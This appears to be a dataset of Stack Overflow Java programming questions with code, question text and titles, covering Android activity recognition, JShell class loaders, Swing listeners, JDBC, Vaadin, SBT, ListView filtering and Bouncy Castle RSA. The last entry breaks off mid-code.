button = findViewById ( R.id.button ) ; button.setOnClickListener ( new View.OnClickListener ( ) { public void onClick ( View view ) { serviceIntent = new Intent ( MainActivity.this , ServiceS.class ) ; MainActivity.this.startService ( serviceIntent ) ; } } ) ; } public static boolean hasPermissions ( Context context , String ... permissions ) { if ( permissions ! = null ) { for ( String permission : permissions ) { if ( ActivityCompat.checkSelfPermission ( context , permission ) ! = PackageManager.PERMISSION_GRANTED ) { return false ; } } } return true ; } public ServiceS ( ) { super ( ) ; } public static void locationArrived ( Context context , Location location ) { Log.d ( `` hmm : `` , location.toString ( ) ) ; } @ SuppressLint ( `` MissingPermission '' ) @ Overridepublic int onStartCommand ( Intent intent , int flags , int startId ) { return super.onStartCommand ( intent , flags , startId ) ; } @ Overridepublic void onCreate ( ) { initActivityTransition ( ) ; super.onCreate ( ) ; } @ Overridepublic void onDestroy ( ) { Log.d ( `` hmm : `` , `` Updates stopped ! `` ) ; Task task = ActivityRecognition.getClient ( this ) .removeActivityTransitionUpdates ( activityPendingIntent ) ; super.onDestroy ( ) ; } // ACTIVITY TRANSITION BLOCK STARTprivate static List < ActivityTransition > transitions = new ArrayList < > ( ) ; private static PendingIntent activityPendingIntent ; private static ActivityTransitionRequest transitionRequest ; void initActivityTransition ( ) { transitions.add ( new ActivityTransition.Builder ( ) .setActivityType ( DetectedActivity.IN_VEHICLE ) .setActivityTransition ( ActivityTransition.ACTIVITY_TRANSITION_EXIT ) .build ( ) ) ; transitions.add ( new ActivityTransition.Builder ( ) .setActivityType ( DetectedActivity.IN_VEHICLE ) .setActivityTransition ( ActivityTransition.ACTIVITY_TRANSITION_ENTER ) .build ( ) ) ; transitions.add ( new ActivityTransition.Builder ( ) .setActivityType ( DetectedActivity.WALKING ) .setActivityTransition ( ActivityTransition.ACTIVITY_TRANSITION_EXIT ) .build ( ) ) ; transitions.add ( new ActivityTransition.Builder ( ) .setActivityType ( DetectedActivity.WALKING ) .setActivityTransition ( ActivityTransition.ACTIVITY_TRANSITION_ENTER ) .build ( ) ) ; transitions.add ( new ActivityTransition.Builder ( ) .setActivityType ( DetectedActivity.STILL ) .setActivityTransition ( ActivityTransition.ACTIVITY_TRANSITION_ENTER ) .build ( ) ) ; transitions.add ( new ActivityTransition.Builder ( ) .setActivityType ( DetectedActivity.STILL ) .setActivityTransition ( ActivityTransition.ACTIVITY_TRANSITION_EXIT ) .build ( ) ) ; Intent activityIntentService = new Intent ( this , TransitionReceiver.class ) ; activityPendingIntent = PendingIntent.getBroadcast ( this , 1 , activityIntentService , PendingIntent.FLAG_UPDATE_CURRENT ) ; Log.d ( `` hmm : `` , '' DriveBuddyService - initActivityTransition '' ) ; } static void transitionArrived ( final ActivityTransitionEvent event , final Context context ) { Log.d ( `` hmm : `` , event.toString ( ) ) ; Toast.makeText ( context , event.getActivityType ( ) + `` - '' + event.getTransitionType ( ) , Toast.LENGTH_LONG ) .show ( ) ; } @ Overridepublic void onStart ( Intent intent , int startId ) { if ( transitionRequest==null ) { transitionRequest = new ActivityTransitionRequest ( transitions ) ; } Task task = ActivityRecognition.getClient ( this ) .requestActivityTransitionUpdates ( transitionRequest , activityPendingIntent ) ; super.onStart ( intent , startId ) ; } @ Nullable @ Overridepublic IBinder onBind ( Intent intent ) { return null ; } public void onReceive ( final Context context , Intent intent ) { Log.d ( `` hmm : `` , '' DriveBuddyTransitionReceiver - Enter '' ) ; if ( ActivityTransitionResult.hasResult ( intent ) ) { ActivityTransitionResult result = ActivityTransitionResult.extractResult ( intent ) ; for ( ActivityTransitionEvent event : result.getTransitionEvents ( ) ) { ServiceS.transitionArrived ( event , context ) ; } } }",The first transition is always the same - Activity Recognition API - Activity Transition +Java,"Please view the edits belowI 'm trying to create a JShell instance that gives me access to , and lets me interact with objects in the JVM it was created in . This works fine with classes that have been available at compile time but fails for classes that are loaded dynamically . Additionally , exchanging DirectExecutionControl with LocalExecutionControl gives the same results , but I do not understand the difference between the two classes.How would I make classes that are loaded at runtime available to this JShell instance ? Edit : The first part of this question has been solved , below is the updated source code to demonstrate the second part of the issueThis is the expected output , if the JVM and the JShell instance do not share any memory , however adding com.example.test.C directly to the project instead of loading it dynamically changes the results as follows : Why is the memory between the JVM and the JShell instance not shared for classes loaded at runtime ? EDIT 2 : The issue seems to be caused by different class loadersExecuting the following code in the context of the above example : This shows , that the same class , com.example.test.C is loaded by two different classloaders . Is it possible to add the class to the JShell instance without loading it again ? If no , why is the statically loaded class already loaded ?","public class Main { public static final int A = 1 ; public static Main M ; public static void main ( String [ ] args ) throws Exception { M = new Main ( ) ; ClassLoader cl = new URLClassLoader ( new URL [ ] { new File ( `` Example.jar '' ) .toURL ( ) } , Main.class.getClassLoader ( ) ) ; Class < ? > bc = cl.loadClass ( `` com.example.test.Dynamic '' ) ; //Works JShell shell = JShell.builder ( ) .executionEngine ( new ExecutionControlProvider ( ) { @ Override public String name ( ) { return `` direct '' ; } @ Override public ExecutionControl generate ( ExecutionEnv ee , Map < String , String > map ) throws Throwable { return new DirectExecutionControl ( ) ; } } , null ) .build ( ) ; shell.eval ( `` System.out.println ( com.example.test.Main.A ) ; '' ) ; //Always works shell.eval ( `` System.out.println ( com.example.test.Main.M ) ; '' ) ; //Fails ( is null ) if executionEngine is not set shell.eval ( `` System.out.println ( com.example.test.Dynamic.class ) ; '' ) ; //Always fails } } public class Main { public static void main ( String [ ] args ) throws Exception { ClassLoader cl = new URLClassLoader ( new URL [ ] { new File ( `` Example.jar '' ) .toURL ( ) } , Main.class.getClassLoader ( ) ) ; Class < ? > c = cl.loadClass ( `` com.example.test.C '' ) ; c.getDeclaredField ( `` C '' ) .set ( null , `` initial '' ) ; JShell shell = JShell.builder ( ) .executionEngine ( new ExecutionControlProvider ( ) { @ Override public String name ( ) { return `` direct '' ; } @ Override public ExecutionControl generate ( ExecutionEnv ee , Map < String , String > map ) throws Throwable { return new DirectExecutionControl ( ) ; } } , null ) .build ( ) ; shell.addToClasspath ( `` Example.jar '' ) ; shell.eval ( `` import com.example.test.C ; '' ) ; shell.eval ( `` System.out.println ( C.C ) '' ) ; //null shell.eval ( `` C.C = \ '' modified\ '' ; '' ) ; shell.eval ( `` System.out.println ( C.C ) '' ) ; // '' modified '' System.out.println ( c.getDeclaredField ( `` C '' ) .get ( null ) ) ; // '' initial '' } } shell.eval ( `` import com.example.test.C ; '' ) ; shell.eval ( `` System.out.println ( C.C ) '' ) ; // '' initial '' shell.eval ( `` C.C = \ '' modified\ '' ; '' ) ; shell.eval ( `` System.out.println ( C.C ) '' ) ; // '' modified '' System.out.println ( c.getDeclaredField ( `` C '' ) .get ( null ) ) ; // '' modified '' System.out.println ( c.getClassLoader ( ) ) ; //java.net.URLClassLoadershell.eval ( `` System.out.println ( C.class.getClassLoader ( ) ) '' ) ; //jdk.jshell.execution.DefaultLoaderDelegate $ RemoteClassLoadershell.eval ( `` System.out.println ( com.example.test.Main.class.getClassLoader ( ) ) '' ) ; //jdk.internal.loader.ClassLoaders $ AppClassLoader",Sharing dynamically loaded classes with JShell instance +Java,"I have an issue with mouse listeners added to 2 different panels one on top of the other . Both of them make use of the mouseEntered ( ) and mouseExited ( ) methods . The expected outcome of the test code bellow is : When I hover on the frame a red rectangle should be made visibleWhen I hover on the red rectangle in the frame it should turn blue.When my mouse exits the now blue rectangle ( but still inside the frame ) it should turn redWhen my mouse exits the frame entirely the now red rectangle should not be visibleIf I try to move my mouse over the colored rectangle it keeps flashing from visible to not visible . The system print shows what I mean , it keeps activating Mouse Entered and Mouse Exited every time I move or click with my mouse . Is there anyway to prevent the mouseExited ( ) method from being called every time I move or click my mouse ? Here is the test code :","import java.awt.BorderLayout ; import java.awt.Color ; import java.awt.Dimension ; import java.awt.event.MouseAdapter ; import java.awt.event.MouseEvent ; import javax.swing.JFrame ; import javax.swing.JPanel ; public class Sandbox extends JPanel { public static void main ( String [ ] args ) { JFrame frame = new JFrame ( ) ; frame.setSize ( 500 , 500 ) ; frame.add ( new Sandbox ( ) ) ; frame.setDefaultCloseOperation ( JFrame.EXIT_ON_CLOSE ) ; frame.setVisible ( true ) ; } public Sandbox ( ) { super ( new BorderLayout ( ) ) ; final JPanel panelA = new JPanel ( ) ; panelA.setBackground ( Color.red ) ; panelA.setPreferredSize ( new Dimension ( 155 , 155 ) ) ; panelA.setVisible ( false ) ; this.add ( panelA , BorderLayout.WEST ) ; this.addMouseListener ( new MouseAdapter ( ) { @ Override public void mouseEntered ( MouseEvent e ) { System.out.println ( `` - MOUSE ENTERED `` ) ; panelA.setVisible ( true ) ; } @ Override public void mouseExited ( MouseEvent e ) { System.out.println ( `` - MOUSE EXITED `` ) ; panelA.setVisible ( false ) ; } } ) ; panelA.addMouseListener ( new MouseAdapter ( ) { @ Override public void mouseEntered ( MouseEvent e ) { System.out.println ( `` # MOUSE ENTERED `` ) ; panelA.setBackground ( Color.blue ) ; } @ Override public void mouseExited ( MouseEvent e ) { panelA.setBackground ( Color.red ) ; System.out.println ( `` # MOUSE EXITED `` ) ; } } ) ; } }",Multiple Panes with MouseListener on top of each other +Java,"I am executing the select statement with using jdbc sybase driver ( jconn3 ) . I checked the statement with executed manually on isql and all rows returned correctly . The statement which is executing on jdbc : I added the dateformat as yyyy-MM-dd HH : mm : ss and set the time value as 00:00:00 for begin date and 23:59:59 for end date . It is not working . The row count must be 1000 but it is sometimes 770 , sometimes 990 , sometimes 564 etc.. There is no any specific row count which everytime returned.After that I added an extra execution which returns only row count . First I am executing the select count ( * ) from ... statement then executing select * from ... . and now ` select * from ... query returns the correct number of records everytime . This can not be related with caching . And weird thing is , I am using same preparedstatement and resultset objects for those two execution.Any idea on that issue ? @ Rulmeq , here is the code ( added on 2012-03-29 )","select * from mytable where date between ? and ? ResultSet rs = null ; PreparedStatement ps = null ; ps = myConn.getConnection ( ) .prepareStatement ( `` select count ( * ) from myTable where date between ? and ? `` ) ; ps.setDate ( 1 , new java.sql.Date ( beginDate.getTime ( ) ) ) ; // format : yyyy-MM-ddps.setDate ( 2 , new java.sql.Date ( endDate.getTime ( ) ) ) ; // format : yyyy-MM-ddrs = ps.executeQuery ( ) ; rs.next ( ) ; // some logs hereps = myConn.getConnection ( ) .prepareStatement ( `` select * from myTable where date between ? and ? `` ) ; ps.setTimestamp ( 1 , new java.sql.Timestamp ( beginDate.getTime ( ) ) ) ; // format : yyyy-MM-dd hh : mm : ss ps.setTimestamp ( 2 , new java.sql.Timestamp ( endDate.getTime ( ) ) ) ; // format : yyyy-MM-dd hh : mm : ss rs = ps.executeQuery ( ) ; while ( rs.next ( ) ) { ... ... .. }",No row returned from db - but there are records to be returned +Java,"In the example given here : https : //vaadin.com/docs/framework/application/application-resources.htmlthe images-folder is put inside the WEB-INF directory of the application.In my Vaadin Spring application , I do not have a WEB-INF directory , so I put the images folder inside the `` resources '' folder instead . Here is what the folder structure inside of `` src/main/resources '' and inside of `` target '' looks like : The problem is that my application can not access the images there . I always get the same `` File not found '' exception . I tried out different path descriptions , among others , the following : ... nothing worked ! ! How can I make this images accessible to my Vaadin Spring application ?",VaadinService.getCurrent ( ) .getBaseDirectory ( ) .getAbsolutePath ( ) + `` images/pic.png '' VaadinService.getCurrent ( ) .getBaseDirectory ( ) .getAbsolutePath ( ) + `` /classes/images/pic.png '' VaadinService.getCurrent ( ) .getBaseDirectory ( ) .getAbsolutePath ( ) + `` /target/classes/images/pic.png '' VaadinService.getCurrent ( ) .getBaseDirectory ( ) .getAbsolutePath ( ) + `` /applicationName/target/classes/images/pic.png '',images not accessible by Vaadin Spring Application +Java,I have created a SBT project and added an Android Template using pfn/android-sdk-plugin and all I am trying to do is create a test app for implementing recyclerview . The aar ( ) technique is not finding the dependencies . my build.sbt ... I have tried dropping the jars into the unmanaged project libs and it will compile and install but will crash . When I un-comment the arr 's i get `` dependencies can not be found '' Please help . When i Add This is my most recent log from just loading the build.sbt,"import sbt.Keys._import android.Keys._android.Plugin.androidBuildname : = `` firstsbt '' version : = `` 1.0 '' scalaVersion : = `` 2.10.4 '' javacOptions ++= Seq ( `` -source '' , `` 1.7 '' , `` -target '' , `` 1.7 '' ) scalacOptions in Compile ++= Seq ( `` -deprecation '' , '' -feature '' , '' -language : implicitConversions '' , '' -unchecked '' ) unmanagedBase : = baseDirectory.value / `` libs '' // proguard helpproguardScala in Android : = trueuseProguard in Android : = true//set dependencieslibraryDependencies ++= Seq ( //aar ( `` com.android.support '' % `` cardview-v7 '' % `` 21.0.3 '' ) , //aar ( `` com.android.support '' % `` appcompat-v7 '' % `` 23.1.1 '' ) `` com.android.support '' % `` appcompat-v7 '' % `` 23.1.1 '' // '' com.android.support '' % `` recyclerview-v7 '' % `` 23.1.1 '' // '' com.android.support '' % `` support-v4 '' % `` r7 '' % `` 23.1.1 '' //aar ( `` com.android.support '' % `` recyclerview-v7 '' % `` 23.1.1 '' ) //aar ( `` com.github.chrisbanes.actionbarpulltorefresh '' % `` library '' % `` 0.9.3 '' ) //aar ( `` net.simonvt.menudrawer '' % `` menudrawer '' % `` 3.0.4 '' ) , // '' com.google.android '' % `` support-v4 '' % `` r7 '' , // '' io.spray '' % `` spray-json_2.10 '' % `` 1.2.6 '' , // '' net.minidev '' % `` json-smart '' % `` 1.2 '' ) ) resolvers : = Seq ( ) 12-13 18:02:40.760 7217-7217/mobile.bt.app D/AndroidRuntime﹕ Shutting down VM12-13 18:02:40.760 7217-7217/mobile.bt.app E/AndroidRuntime﹕ FATAL EXCEPTION : mainProcess : mobile.bt.app , PID : 7217java.lang.RuntimeException : Unable to start activity ComponentInfo { mobile.bt.app/mobile.bt.app.MainActivity } : java.lang.NullPointerException : Attempt to invoke virtual method 'void android.support.v7.widget.RecyclerView.setLayoutManager ( android.support.v7.widget.RecyclerView $ LayoutManager ) ' on a null object reference at android.app.ActivityThread.performLaunchActivity ( ActivityThread.java:2661 ) at android.app.ActivityThread.handleLaunchActivity ( ActivityThread.java:2726 ) at android.app.ActivityThread.access $ 900 ( ActivityThread.java:172 ) at android.app.ActivityThread $ H.handleMessage ( ActivityThread.java:1421 ) at android.os.Handler.dispatchMessage ( Handler.java:102 ) at android.os.Looper.loop ( Looper.java:145 ) at android.app.ActivityThread.main ( ActivityThread.java:5835 ) at java.lang.reflect.Method.invoke ( Native Method ) at java.lang.reflect.Method.invoke ( Method.java:372 ) at com.android.internal.os.ZygoteInit $ MethodAndArgsCaller.run ( ZygoteInit.java:1399 ) at com.android.internal.os.ZygoteInit.main ( ZygoteInit.java:1194 ) Caused by : java.lang.NullPointerException : Attempt to invoke virtual method 'void android.support.v7.widget.RecyclerView.setLayoutManager ( android.support.v7.widget.RecyclerView $ LayoutManager ) ' on a null object reference at mobile.bt.app.MainActivity.onCreate ( MainActivity.java:62 ) at android.app.Activity.performCreate ( Activity.java:6221 ) at android.app.Instrumentation.callActivityOnCreate ( Instrumentation.java:1119 ) at android.app.ActivityThread.performLaunchActivity ( ActivityThread.java:2614 ) at android.app.ActivityThread.handleLaunchActivity ( ActivityThread.java:2726 ) at android.app.ActivityThread.access $ 900 ( ActivityThread.java:172 ) at android.app.ActivityThread $ H.handleMessage ( ActivityThread.java:1421 ) at android.os.Handler.dispatchMessage ( Handler.java:102 ) at android.os.Looper.loop ( Looper.java:145 ) at android.app.ActivityThread.main ( ActivityThread.java:5835 ) at java.lang.reflect.Method.invoke ( Native Method ) at java.lang.reflect.Method.invoke ( Method.java:372 ) at com.android.internal.os.ZygoteInit $ MethodAndArgsCaller.run ( ZygoteInit.java:1399 ) at com.android.internal.os.ZygoteInit.main ( ZygoteInit.java:1194 ) libraryDependencies += `` com.android.support '' % `` appcompat-v7 '' % `` 23.1.1 '' [ info ] Loading global plugins from C : \Users\brandon\.sbt\0.13\plugins [ info ] Loading project definition from C : \Users\brandon\IdeaProjects\firstsbt\project [ info ] Set current project to firstsbt ( in build file : /C : /Users/brandon/IdeaProjects/firstsbt/ ) > [ info ] Defining * : shellPrompt [ info ] The new value will be used by no settings or tasks . [ info ] Reapplying settings ... [ info ] Set current project to firstsbt ( in build file : /C : /Users/brandon/IdeaProjects/firstsbt/ ) [ info ] Defining * : artifactPath [ info ] The new value will be used by no settings or tasks . [ info ] Reapplying settings ... [ info ] Set current project to firstsbt ( in build file : /C : /Users/brandon/IdeaProjects/firstsbt/ ) [ info ] Defining * : artifactClassifier [ info ] The new value will be used by compile : packageBin : :artifact , compile : packageDoc : :artifact and 3 others . [ info ] Run ` last ` for details . [ info ] Reapplying settings ... [ info ] Set current project to firstsbt ( in build file : /C : /Users/brandon/IdeaProjects/firstsbt/ ) [ info ] Applying State transformations org.jetbrains.sbt.ReadProject from C : /Users/brandon/.IntelliJIdea15/config/plugins/Scala/launcher/sbt-structure-0.13.jar [ info ] Reading structure from C : \Users\brandon\IdeaProjects\firstsbt [ info ] Updating { file : /C : /Users/brandon/IdeaProjects/firstsbt/ } mobile-bt-app ... [ info ] Resolving com.android.support # appcompat-v7 ; 23.1.1 ... [ info ] Resolving com.android.support # appcompat-v7 ; 23.1.1 ... [ warn ] module not found : com.android.support # appcompat-v7 ; 23.1.1 [ warn ] ==== local : tried [ warn ] C : \Users\brandon\.ivy2\local\com.android.support\appcompat-v7\23.1.1\ivys\ivy.xml [ warn ] ==== public : tried [ warn ] https : //repo1.maven.org/maven2/com/android/support/appcompat-v7/23.1.1/appcompat-v7-23.1.1.pom [ info ] Resolving org.scala-lang # scala-compiler ; 2.10.4 ... [ info ] Resolving org.scala-lang # scala-library ; 2.10.4 ... [ info ] Resolving org.scala-lang # scala-reflect ; 2.10.4 ... [ info ] Resolving org.scala-lang # jline ; 2.10.4 ... [ info ] Resolving org.fusesource.jansi # jansi ; 1.4 ... [ warn ] : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : [ warn ] : : UNRESOLVED DEPENDENCIES : : [ warn ] : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : [ warn ] : : com.android.support # appcompat-v7 ; 23.1.1 : not found [ warn ] : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : [ warn ] [ warn ] Note : Unresolved dependencies path : [ warn ] com.android.support : appcompat-v7:23.1.1 ( C : \Users\brandon\IdeaProjects\firstsbt\build.sbt # L19-32 ) [ warn ] +- firstsbt : firstsbt:1.0 [ trace ] Stack trace suppressed : run 'last * : update ' for the full output . [ error ] ( * : update ) sbt.ResolveException : unresolved dependency : com.android.support # appcompat-v7 ; 23.1.1 : not foundsbt.ResolveException : unresolved dependency : com.android.support # appcompat-v7 ; 23.1.1 : not found at sbt.IvyActions $ .sbt $ IvyActions $ $ resolve ( IvyActions.scala:291 ) at sbt.IvyActions $ $ anonfun $ updateEither $ 1.apply ( IvyActions.scala:188 ) at sbt.IvyActions $ $ anonfun $ updateEither $ 1.apply ( IvyActions.scala:165 ) at sbt.IvySbt $ Module $ $ anonfun $ withModule $ 1.apply ( Ivy.scala:155 ) at sbt.IvySbt $ Module $ $ anonfun $ withModule $ 1.apply ( Ivy.scala:155 ) at sbt.IvySbt $ $ anonfun $ withIvy $ 1.apply ( Ivy.scala:132 ) at sbt.IvySbt.sbt $ IvySbt $ $ action $ 1 ( Ivy.scala:57 ) at sbt.IvySbt $ $ anon $ 4.call ( Ivy.scala:65 ) at xsbt.boot.Locks $ GlobalLock.withChannel $ 1 ( Locks.scala:93 ) at xsbt.boot.Locks $ GlobalLock.xsbt $ boot $ Locks $ GlobalLock $ $ withChannelRetries $ 1 ( Locks.scala:78 ) at xsbt.boot.Locks $ GlobalLock $ $ anonfun $ withFileLock $ 1.apply ( Locks.scala:97 ) at xsbt.boot.Using $ .withResource ( Using.scala:10 ) at xsbt.boot.Using $ .apply ( Using.scala:9 ) at xsbt.boot.Locks $ GlobalLock.ignoringDeadlockAvoided ( Locks.scala:58 ) at xsbt.boot.Locks $ GlobalLock.withLock ( Locks.scala:48 ) at xsbt.boot.Locks $ .apply0 ( Locks.scala:31 ) at xsbt.boot.Locks $ .apply ( Locks.scala:28 ) at sbt.IvySbt.withDefaultLogger ( Ivy.scala:65 ) at sbt.IvySbt.withIvy ( Ivy.scala:127 ) at sbt.IvySbt.withIvy ( Ivy.scala:124 ) at sbt.IvySbt $ Module.withModule ( Ivy.scala:155 ) at sbt.IvyActions $ .updateEither ( IvyActions.scala:165 ) at sbt.Classpaths $ $ anonfun $ sbt $ Classpaths $ $ work $ 1 $ 1.apply ( Defaults.scala:1369 ) at sbt.Classpaths $ $ anonfun $ sbt $ Classpaths $ $ work $ 1 $ 1.apply ( Defaults.scala:1365 ) at sbt.Classpaths $ $ anonfun $ doWork $ 1 $ 1 $ $ anonfun $ 87.apply ( Defaults.scala:1399 ) at sbt.Classpaths $ $ anonfun $ doWork $ 1 $ 1 $ $ anonfun $ 87.apply ( Defaults.scala:1397 ) at sbt.Tracked $ $ anonfun $ lastOutput $ 1.apply ( Tracked.scala:37 ) at sbt.Classpaths $ $ anonfun $ doWork $ 1 $ 1.apply ( Defaults.scala:1402 ) at sbt.Classpaths $ $ anonfun $ doWork $ 1 $ 1.apply ( Defaults.scala:1396 ) at sbt.Tracked $ $ anonfun $ inputChanged $ 1.apply ( Tracked.scala:60 ) at sbt.Classpaths $ .cachedUpdate ( Defaults.scala:1419 ) at sbt.Classpaths $ $ anonfun $ updateTask $ 1.apply ( Defaults.scala:1348 ) at sbt.Classpaths $ $ anonfun $ updateTask $ 1.apply ( Defaults.scala:1310 ) at scala.Function1 $ $ anonfun $ compose $ 1.apply ( Function1.scala:47 ) at sbt. $ tilde $ greater $ $ anonfun $ $ u2219 $ 1.apply ( TypeFunctions.scala:40 ) at sbt.std.Transform $ $ anon $ 4.work ( System.scala:63 ) at sbt.Execute $ $ anonfun $ submit $ 1 $ $ anonfun $ apply $ 1.apply ( Execute.scala:226 ) at sbt.Execute $ $ anonfun $ submit $ 1 $ $ anonfun $ apply $ 1.apply ( Execute.scala:226 ) at sbt.ErrorHandling $ .wideConvert ( ErrorHandling.scala:17 ) at sbt.Execute.work ( Execute.scala:235 ) at sbt.Execute $ $ anonfun $ submit $ 1.apply ( Execute.scala:226 ) at sbt.Execute $ $ anonfun $ submit $ 1.apply ( Execute.scala:226 ) at sbt.ConcurrentRestrictions $ $ anon $ 4 $ $ anonfun $ 1.apply ( ConcurrentRestrictions.scala:159 ) at sbt.CompletionService $ $ anon $ 2.call ( CompletionService.scala:28 ) at java.util.concurrent.FutureTask.run ( FutureTask.java:262 ) at java.util.concurrent.Executors $ RunnableAdapter.call ( Executors.java:471 ) at java.util.concurrent.FutureTask.run ( FutureTask.java:262 ) at java.util.concurrent.ThreadPoolExecutor.runWorker ( ThreadPoolExecutor.java:1145 ) at java.util.concurrent.ThreadPoolExecutor $ Worker.run ( ThreadPoolExecutor.java:615 ) at java.lang.Thread.run ( Thread.java:745 ) [ error ] sbt.ResolveException : unresolved dependency : com.android.support # appcompat-v7 ; 23.1.1 : not found [ error ] Use 'last ' for the full log .",How to load Android support v7 library into SBT Android Project ? +Java,"I have a custom Adapter that I use to display custom objects in a ListView . Furthermore , I used a SearchView that allows me search through the ListView and filter out results . However , I have noticed some strange behavior when I try to enter a search . As long as I search for an item that is on the list , an item will show up in the filter - however , items are always displayed from the top of the list . If there are 10 items in the list and a search produces 5 matches then the result will show the first 5 items in the list instead of the 5 actual matches . For example , consider this list with 6 motorcycle helmets on it : Bell IconHarley DavidsonJoe RocketShoeiThorIf I search for `` ho '' , the resulting list should be as follows : ShoeiThorHowever , the list that I get is the first two items : BellIconI ca n't figure out why the search is n't working properly . Any help would be appreciated . My code is shown below ... HelmetActivity.javaHelmetAdapter.javaHelmet.java","public class HelmetActivity extends ActionBarActivity implements SearchView.OnQueryTextListener { private Menu menu ; private ListView listView ; private HelmetAdapter helmetAdapter ; private List < Helmet > arrayList ; private SearchManager searchManager ; private SearchView searchView ; private MenuItem searchMenuItem ; @ Override protected void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; setContentView ( R.layout.helmet_activity ) ; ActionBar actionBar = getSupportActionBar ( ) ; actionBar.setElevation ( 0 ) ; listView = ( ListView ) findViewById ( R.id.helmet_listview ) ; listView.setChoiceMode ( ListView.CHOICE_MODE_MULTIPLE ) ; arrayList = new ArrayList < Helmet > ( ) ; listView.setLongClickable ( true ) ; helmetAdapter = new HelmetAdapter ( this , R.layout.helmet , arrayList ) ; listView.setAdapter ( helmetAdapter ) ; arrayList.add ( new Helmet ( `` Bell '' ) ) ; arrayList.add ( new Helmet ( `` Icon '' ) ) ; arrayList.add ( new Helmet ( `` Harley Davidson '' ) ) ; arrayList.add ( new Helmet ( `` Joe Rocket '' ) ) ; arrayList.add ( new Helmet ( `` Shoei '' ) ) ; arrayList.add ( new Helmet ( `` Thor '' ) ) ; } @ Override public boolean onCreateOptionsMenu ( Menu menu ) { this.menu = menu ; MenuInflater menuInflater = getMenuInflater ( ) ; menuInflater.inflate ( R.menu.helmet_activity_menu , menu ) ; SearchManager searchManager = ( SearchManager ) getSystemService ( Context.SEARCH_SERVICE ) ; searchMenuItem = menu.findItem ( R.id.action_search ) ; searchView = ( SearchView ) searchMenuItem.getActionView ( ) ; searchView.setSearchableInfo ( searchManager.getSearchableInfo ( getComponentName ( ) ) ) ; searchView.setSubmitButtonEnabled ( true ) ; searchView.setOnQueryTextListener ( HelmetActivity.this ) ; return true ; } @ Override public boolean onOptionsItemSelected ( MenuItem item ) { return super.onOptionsItemSelected ( item ) ; } @ Override public boolean onQueryTextSubmit ( String query ) { return false ; } @ Override public boolean onQueryTextChange ( String newText ) { helmetAdapter.getFilter ( ) .filter ( newText ) ; return true ; } } public class HelmetAdapter extends ArrayAdapter < Helmet > implements Filterable { private int resource ; private LayoutInflater inflater ; private Context context ; private List < Helmet > helmetList ; private List < Helmet > filteredHelmetList ; private HelmetFilter helmetFilter ; public HelmetAdapter ( Context pContext , int pResource , List < Helmet > helmetList ) { super ( pContext , pResource , helmetList ) ; resource = pResource ; inflater = LayoutInflater.from ( pContext ) ; context = pContext ; this.helmetList = helmetList ; this.filteredHelmetList = helmetList ; getFilter ( ) ; } @ Override public View getView ( final int position , View convertView , ViewGroup parent ) { if ( convertView == null ) { convertView = inflater.inflate ( resource , parent , false ) ; } String uri ; int imageResource ; Drawable image ; Helmet helmet = getItem ( position ) ; TextView hName = ( TextView ) convertView.findViewById ( R.id.h_name ) ; hName.setText ( helmet.getName ( ) ) ; return convertView ; } @ Override public int getCount ( ) { return filteredHelmetList.size ( ) ; } @ Override public Filter getFilter ( ) { if ( helmetFilter == null ) { helmetFilter = new HelmetFilter ( ) ; } return helmetFilter ; } private class HelmetFilter extends Filter { @ Override protected FilterResults performFiltering ( CharSequence constraint ) { FilterResults filterResults = new FilterResults ( ) ; if ( constraint ! = null & & constraint.length ( ) > 0 ) { ArrayList < Helmet > temporaryHelmetList = new ArrayList < Helmet > ( ) ; for ( Helmet helmet : helmetList ) { if ( helmet.getName ( ) .toLowerCase ( ) .contains ( constraint.toString ( ) .toLowerCase ( ) ) ) { temporaryHelmetList.add ( helmet ) ; } } filterResults.count = temporaryHelmetList.size ( ) ; filterResults.values = temporaryHelmetList ; } else { filterResults.count = helmetList.size ( ) ; filterResults.values = helmetList ; } return filterResults ; } @ SuppressWarnings ( `` unchecked '' ) @ Override protected void publishResults ( CharSequence constraint , FilterResults results ) { filteredHelmetList = ( ArrayList < Helmet > ) results.values ; notifyDataSetChanged ( ) ; } } } public class Helmet { public Helmet ( String name ) { super ( ) ; this.name = name ; } private String name ; public String getName ( ) { return name ; } public void setName ( String pName ) { this.name = pName ; } }",ListView Filter filters correctly but shows wrong result +Java,I´m doing an assignment and it´s required to support API16.My view is a custom ArrayListAdapter with takes anThe problem is that I want to make it possible to sort the data the user has put in the list.But when I try Android Studio tells that I need API 24.how do I sort the list in API 16 ?,"ArrayList < someclass > items.sort ( new Comparator < someclass > ( ) { @ Override public int compare ( someclass item1 , someclass item2 ) { return item1.Name.compareTo ( item2.Name ) ; } } ) ;",Android sort ArrayLit < class > in API16 ? +Java,"I was trying to en- and decrypt a short byte array with RSA using the java bouncy castle library . I made the following steps : Generate a 2048 bit key pair.Create a short data byte array , where the first entry is a zero.Encrypt the data array with the generated key and RSA.Decrypt the encrypted data array with the generated key and RSA.Compare the original and decrypted data array.I noticed that the original and decrypted data array are n't the same . The decrypted data array is missing the first entry and is therefore by 1 shorter than the original data array . This happens only when the data array 's first entry is ' 0 ' . Why is this happening ? Should n't the decryption return the same data array ? Or are my assumptions , usage and understanding of the library wrong ? Here the full test case ( with imports for better understanding ) : Thank you for help !","import static org.junit.Assert.assertTrue ; import java.io.IOException ; import java.math.BigInteger ; import java.security . * ; import java.security.spec.RSAKeyGenParameterSpec ; import java.util.Arrays ; import javax.crypto.BadPaddingException ; import javax.crypto.Cipher ; import javax.crypto.IllegalBlockSizeException ; import javax.crypto.NoSuchPaddingException ; import org.bouncycastle.crypto.DataLengthException ; import org.bouncycastle.crypto.InvalidCipherTextException ; import org.bouncycastle.jce.provider.BouncyCastleProvider ; import org.bouncycastle.jce.provider.JDKKeyPairGenerator ; import org.bouncycastle.util.encoders.Hex ; import org.hive2hive.core.H2HJUnitTest ; import org.junit.Test ; public class EncryptionUtil2Test { @ Test public void testBug ( ) throws IOException , InvalidKeyException , IllegalBlockSizeException , BadPaddingException , DataLengthException , IllegalStateException , InvalidCipherTextException , NoSuchAlgorithmException , NoSuchProviderException , NoSuchPaddingException , InvalidAlgorithmParameterException { Security.addProvider ( new BouncyCastleProvider ( ) ) ; // generate RSA keys BigInteger publicExp = new BigInteger ( `` 10001 '' , 16 ) ; // Fermat F4 , largest known fermat prime JDKKeyPairGenerator gen = new 